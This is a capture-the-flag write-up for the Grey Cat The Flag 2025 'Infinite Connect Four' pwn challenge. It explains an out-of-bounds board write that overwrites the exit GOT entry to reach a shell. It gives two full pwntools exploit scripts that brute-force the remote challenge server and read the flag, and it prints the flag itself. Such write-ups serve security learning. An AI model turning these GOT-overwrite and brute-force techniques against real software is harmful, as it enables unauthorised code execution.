- Published on
Grey Cat The Flag 2025 - PWN - Infinite Connect Four
- Authors
- Name
- kerszi
Table of contents
Introduction

This was an awesome pwn challenge from Grey Cat The Flag 2025. It was the most solved task in the competition, but still required a solid grind to crack. The goal was to exploit a 64-bit ELF binary to spawn a shell and grab the flag.
Vulnerability
The infinite_connect_four_patched binary (64-bit ELF, Partial RELRO, Stack Canary, NX, PIE, SHSTK, IBT) runs a Connect Four game on an 8x8 board. In the game function, filling a column (e.g., column 0) triggers an out-of-bounds write in the 64-byte board array during the shift mechanism. When local_14 goes negative, writes to board[iVar2 + local_14 * 8] can corrupt memory before the array. Due to PIE, the win() function and GOT addresses are randomized, but the lower bytes of win() (e.g., 0xfc9) remain consistent. There’s a 1/16 chance of overwriting the exit GOT entry with a value aligning to win(), which calls system("/bin/sh").
Exploit
- Set player 1’s symbol to 0xc9 (lower byte of win()).
- Fill column 0 with 8 moves to trigger out-of-bounds write.
- Make moves in columns 2 and 1 to overwrite exit@GLIBC_2.2.5 with 0xc9.
- Send invalid column '8' to call exit, now pointing to win(), spawning a shell.
- Use a random token to verify shell access and retry on connection failure.
Code
from pwn import *
import random
context.log_level = 'warning'
context.update(arch='x86_64', os='linux')
context.terminal = ['wt.exe','wsl.exe']
HOST="nc challs.nusgreyhats.org 33102"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./infinite_connect_four_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
counter=0
while True:
if args.REMOTE:
p = remote(ADDRESS,PORT)
else:
p = process(binary.path)
# Respond to player symbol prompts
warn("Sending player symbols and making moves in the game...")
p.sendlineafter(b'Enter player 1 symbol >', bytes([0xc9]))
warn("Player 1 symbol sent")
p.sendlineafter(b'Enter player 2 symbol >', bytes([0x3f]))
warn("Player 2 symbol sent")
for _ in range(8):
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'0')
warn("Player 1 chose column 0")
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'0')
warn("Player 2 chose column 0")
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'2')
warn("Player 1 chose column 2")
for _ in range(8):
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'1')
warn("Player 2 chose column 1")
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'1')
warn("Player 1 chose column 1")
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'8')
warn("Player 2 exited")
try:
p.sendline(b"") # just a blank line to flush
except (BrokenPipeError, EOFError):
print(f"[-] Connection closed immediately")
p.close()
continue # go to next iteration
counter+=1
SHELL_CHECKER = str(random.randint(100000, 9999999)).encode()
warn(f"COUNTER: {counter} TOKEN: {SHELL_CHECKER.decode()}")
p.sendline(b"echo "+SHELL_CHECKER)
try:
p.recvuntil(SHELL_CHECKER, timeout=20)
p.sendline(b'cat flag.txt')
p.interactive()
sys.exit()
except EOFError:
warn ("No receive")
p.close()
pass
Code with threads (BONUS)
from pwn import *
import random
import threading
import sys
import os
context.log_level = 'warning'
context.update(arch='x86_64', os='linux') #o tym pamietac jak sie nie pobiera danych z pliku
context.terminal = ['wt.exe','wsl.exe'] #do wsl
HOST="nc challs.nusgreyhats.org 33102"
ADDRESS,PORT=HOST.split()[1:]
BINARY_NAME="./infinite_connect_four_patched"
binary = context.binary = ELF(BINARY_NAME, checksec=False)
counter=0
stop_event = threading.Event()
def play_game(thread_id):
global counter
while not stop_event.is_set():
if args.REMOTE:
p = remote(ADDRESS, PORT)
else:
p = process(binary.path)
warn(f"[Thread {thread_id}] Sending player symbols and making moves in the game...")
p.sendlineafter(b'Enter player 1 symbol >', bytes([0xc9]))
warn(f"[Thread {thread_id}] Player 1 symbol sent")
p.sendlineafter(b'Enter player 2 symbol >', bytes([0x3f]))
warn(f"[Thread {thread_id}] Player 2 symbol sent")
for _ in range(8):
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'0')
#warn(f"[Thread {thread_id}] Player 1 chose column 0")
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'0')
#warn(f"[Thread {thread_id}] Player 2 chose column 0")
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'2')
warn(f"[Thread {thread_id}] Player 1 chose column 2")
for _ in range(8):
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'1')
#warn(f"[Thread {thread_id}] Player 2 chose column 1")
p.sendlineafter(b'Player 1 choose your column (0 - 7) >', b'1')
#warn(f"[Thread {thread_id}] Player 1 chose column 1")
p.sendlineafter(b'Player 2 choose your column (0 - 7) >', b'8')
warn(f"[Thread {thread_id}] Player 2 exited")
try:
p.sendline(b"") # just a blank line to flush
except (BrokenPipeError, EOFError):
print(f"[-] [Thread {thread_id}] Connection closed immediately")
p.close()
continue # go to next iteration
counter += 1
SHELL_CHECKER = str(random.randint(100000, 9999999)).encode()
warn(f"[Thread {thread_id}] COUNTER: {counter} TOKEN: {SHELL_CHECKER.decode()}")
p.sendline(b"echo " + SHELL_CHECKER)
try:
p.recvuntil(SHELL_CHECKER, timeout=20)
p.sendline(b'cat flag.txt')
stop_event.set() # Signal other threads to stop
p.interactive()
os._exit(0) # Terminates all threads and the program immediately
except EOFError:
warn(f"[Thread {thread_id}] No receive")
p.close()
pass
threads = []
num_threads = 4
for i in range(num_threads):
t = threading.Thread(target=play_game, args=(i,))
t.daemon = True
t.start()
threads.append(t)
# Keep the main thread alive to allow threads to run
for t in threads:
t.join()
How It Works
- Symbol: Player 1’s symbol (0xc9) overwrites the exit GOT entry during out-of-bounds writes.
- Moves: Fills columns 0 and 1, with a move in column 2, to corrupt 0x55555555a060.
- Trigger: Invalid column '8' calls exit, now pointing to win(), spawning a shell.
- Reliability: A loop with a random token handles unstable remote connections (challs.nusgreyhats.org:33102).
- Flag: cat flag.txt retrieves the flag (e.g., grey{...}).
Summary
That was a cool task:
grey{i_l0v3_mE_s0M3_bUfFeR_0v3rFloWS}